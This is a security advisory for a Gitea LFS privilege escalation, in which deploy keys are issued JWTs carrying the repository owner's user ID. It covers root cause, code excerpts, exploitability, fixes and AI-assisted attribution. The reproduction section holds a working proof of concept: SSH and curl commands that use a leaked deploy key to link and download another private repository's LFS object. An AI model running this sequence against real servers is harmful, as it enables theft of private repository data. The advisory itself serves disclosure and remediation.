The vulnerability is a privilege escalation in Gitea's LFS handling, originating from incorrect user identity assignment for deploy keys. The analysis began by examining the provided security advisory and release notes, which pointed to a fix in version 1.27.0 related to LFS cross-repo object access. The key commit c7ae28d7a51a07c0973b973de890ce6be5f405d7 was identified through the pull request mentioned in the release notes.
The commit's diff revealed that the core of the vulnerability was patched in services/lfs/server.go within the BatchHandler and UploadHandler functions. The patch removed the call to git_model.LFSObjectAccessible, which was responsible for the flawed cross-repository access check. This check was vulnerable because the user identity (ctx.Doer) it relied on was incorrect.
The root cause was traced back to routers/private/serv.go in the ServCommand function, as detailed in the vulnerability description. By fetching the file content, it was confirmed that this function incorrectly assigns the repository owner's UserID when a deploy key is used for authentication. This incorrect UserID is then embedded in an LFS JWT.
When an attacker uses this JWT, the LFS handlers (BatchHandler, UploadHandler) would treat the request as if it came from the repository owner, granting access to all LFS objects owned by that user across different repositories. The exploit PoC demonstrates this by using a deploy key for one repository to access an LFS object from another private repository owned by the same user.
Therefore, the vulnerable functions are private.ServCommand (which creates the condition) and lfs.BatchHandler/lfs.UploadHandler (which exploit the condition to bypass authorization). These functions would appear in a runtime profile during exploitation.
This function handles LFS batch requests. The vulnerability is triggered when this function encounters an LFS object that exists in the content store but is not yet linked to the current repository. It calls `git_model.LFSObjectAccessible` with `ctx.Doer` (the user). When authenticating with a deploy key, `ctx.Doer` is incorrectly set to the repository owner. This allows the function to link LFS objects from any of the owner's other repositories, leading to an authorization bypass.
private.ServCommand
routers/private/serv.go
This function is the root cause of the vulnerability. When handling an SSH command with a deploy key (`git-lfs-authenticate`), it generates authentication results that are used to create an LFS JWT. It incorrectly sets the `UserID` in these results to the ID of the repository's owner instead of an identity representing the deploy key itself. This flawed JWT is then used by the LFS services to make authorization decisions, leading to privilege escalation.
lfs.UploadHandler
services/lfs/server.go
Similar to `BatchHandler`, this function handles LFS uploads. It contained the same flawed logic of using `git_model.LFSObjectAccessible` with the incorrect user identity (`ctx.Doer`) derived from the deploy key authentication. This allowed an attacker to bypass access controls for LFS objects that already exist in the content store but are not linked to the repository they have access to.
cmd/serv.go
server.go
claims.UserID
ctx.Doer
LFSObjectAccessible(ctx, ctx.Doer, oid)
RepoID
UserID
owner
First Faulty Condition
The primary bug — where the JWT UserID is set incorrectly — is in serv.go:
| File | routers/private/serv.go |
| --------- | ------------------------------------------------------------------------------------------------- |
| Line | 275 |
| Condition | Deploy key branch sets results.UserID = repo.OwnerID; the owner's UID is embedded in the JWT and later used as the authenticated principal for cross-repo privilege decisions in server.go:268 |
// routers/private/serv.go:252–278
if key.Type == asymkey_model.KeyTypeDeploy {
...
// FIXME: Deploy keys aren't really the owner of the repo pushing changes
// however we don't have good way of representing deploy keys in hook.go
// so for now use the owner of the repository
results.UserName = results.OwnerName
results.UserID = repo.OwnerID // ← OWNER's UID, not the deploy key
...
}
The secondary bug — where the tainted UserID is actually misused — is in server.go:
| File | services/lfs/server.go |
| --------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Line | 268 |
| Condition | LFSObjectAccessible(ctx, ctx.Doer, oid) makes a cross-repo decision using the JWT UserID, which for deploy keys is the repo owner, not the deploy key holder |
// services/lfs/server.go:267–275
if exists && meta == nil {
accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)
...
if accessible {
_, err := git_model.NewLFSMetaObject(ctx, repository.ID, p) // links OID to attacker's repo
...
}
}
Admin amplification: if victim.IsAdmin, models/git/lfs.go:226 short-circuits with a bare COUNT(*) over the entire lfs_meta_object table — no repo filter. A deploy key on any admin-owned repo reaches every LFS object on the instance.
Exploitability Assessment
Attack Vector & Reachability
| Attack vector | Network |
| --------------------------- | -------------------------------------------------------------------------------------------------- |
| Authentication required | Low: attacker must hold a write deploy key's private key material for any of victim's repositories |
| User interaction required | None |
| Reachable in default config | No. Requires LFS_START_SERVER = true |
| Entry point(s) | SSH git-lfs-authenticate command + HTTP LFS batch API |
The practical exploitability of this vulnerability is constrained by a second prerequisite that is independent of the authorization bypass itself: the attacker must know the SHA-256 OID of a specific LFS object in the target repository. OIDs are 256-bit digests — not enumerable and not brute-forceable — and the LFS batch endpoint functions only as an existence oracle, not a listing mechanism. Successful exploitation therefore requires a prior information-disclosure path that exposes OIDs outside the repository boundary. Known paths include public forks that retain stale LFS pointer files in git history, former collaborators who retained object references from a prior git pull, and issue or pull request comments that reference pointer file contents.
LFS pointer files are committed in plaintext to git history, so anyone who ever cloned or had read access to the target repo retains all OIDs permanently. The attack is effectively a post-revocation persistence primitive — after a collaborator loses access, they can continue downloading updated versions of LFS files they previously knew existed.
Reproduction Steps
Environment
The issue was reproduced using gitea/gitea:1.25.5 docker image.
Setup (performed as victim/admin — represents normal deployment state)
# 1. Victim creates a private repo and uploads an LFS object
git clone http://victim:PASSWORD@localhost:3000/victim/secret-repo.git
cd secret-repo
git lfs track "*.bin"
echo "TOP SECRET: password is hunter2" > secret.bin
git add .gitattributes secret.bin && git commit -m "secret"
git push && git lfs push origin main
# Note the OID and size from:
git lfs pointer --file=secret.bin
# oid sha256:1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b
# size 32
# 2. Victim creates ci-repo and registers a write deploy key
# (via UI: ci-repo → Settings → Deploy Keys → Add Deploy Key → enable write access)
# Attacker holds the corresponding private key (e.g. leaked from CI config)
Exploit
# Step 1 — Obtain JWT via SSH using only the deploy key (no victim credentials)
ssh -i ~/.ssh/deploy_key -p 2222 git@localhost \
"git-lfs-authenticate victim/ci-repo upload"
# → {"header":{"Authorization":"Bearer eyJ..."},"href":"..."}
# Decode payload: {"RepoID":3,"Op":"upload","UserID":4,...}
# ^^^^^^^^ victim's UID — BUG
JWT="eyJ..."
OID="1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b"
SIZE=32
# Step 2 — Confirm attacker is blocked from secret-repo directly
curl -s -H "Authorization: Bearer $JWT" \
"http://localhost:3000/victim/secret-repo.git/info/lfs/objects/$OID"
# → {"Message":"Unauthorized"} — correctly blocked
# Step 3 — Batch upload to ci-repo claiming the secret OID
curl -s -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.git-lfs+json" \
-H "Content-Type: application/vnd.git-lfs+json" \
"http://localhost:3000/victim/ci-repo.git/info/lfs/objects/batch" \
-d "{\"operation\":\"upload\",\"transfers\":[\"basic\"],\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}"
# → {"objects":[{"oid":"1d4fed...","size":32}]} — NO "actions" field
# server silently linked the OID to ci-repo without demanding proof of possession
# Step 4 — Download the secret via ci-repo
curl -s -H "Authorization: Bearer $JWT" \
"http://localhost:3000/victim/ci-repo.git/info/lfs/objects/$OID"
# → TOP SECRET: password is hunter2
Expected output
Step 2: {"Message":"Unauthorized"} ← blocked from secret-repo
Step 3: {"objects":[{"oid":"1d4fed...","size":32}]} ← no actions = silently linked
Step 4: TOP SECRET: password is hunter2 ← exfiltrated via ci-repo
A proper fix might require significant architecture change. A short term recommendation is presented below:
Fix 1 — services/lfs/server.go:267 (defense in depth, immediately effective)
Remove the LFSObjectAccessible cross-repo shortcut. Require proof of possession (the normal upload flow) for any object not already linked to the target repo. The JWT is correctly scoped to one RepoID; authorization decisions about other repos should not be made using the JWT UserID.
// BEFORE (vulnerable):
if exists && meta == nil {
accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)
if err != nil {
log.Error("Unable to check if LFS MetaObject [%s] is accessible: %v", p.Oid, err)
writeStatus(ctx, http.StatusInternalServerError)
return
}
if accessible {
_, err := git_model.NewLFSMetaObject(ctx, repository.ID, p)
if err != nil {
log.Error("Unable to create LFS MetaObject [%s] for %s/%s. Error: %v", p.Oid, rc.User, rc.Repo, err)
writeStatus(ctx, http.StatusInternalServerError)
return
}
} else {
exists = false
}
}
// After (safe):
if exists && meta == nil {
// Do not use ctx.Doer for cross-repo decisions — the JWT only authorizes
// access to this repo. Always require proof-of-possession for objects
// not already linked here.
exists = false
}
The client will re-upload the bytes (which are hash-verified).
Performance cost: one redundant upload per cross-repo object. Security gain: the cross-repo trust boundary is enforced regardless of how the JWT was issued.
Fix 2 — routers/private/serv.go:275 (fix the source)
Stop embedding repo.OwnerID in the JWT for deploy keys. Options:
Add a DeployKeyID field to the JWT Claims struct; teach handleLFSToken to construct a minimal synthetic principal with exactly the deploy key's permissions (single-repo, mode-limited).
Or mint a separate JWT type for deploy keys that server.go treats as repo-scoped only, refusing to use it for cross-repo operations.
Patch provenance: AI-generated + Human-reviewed
Attribution
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.
For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research.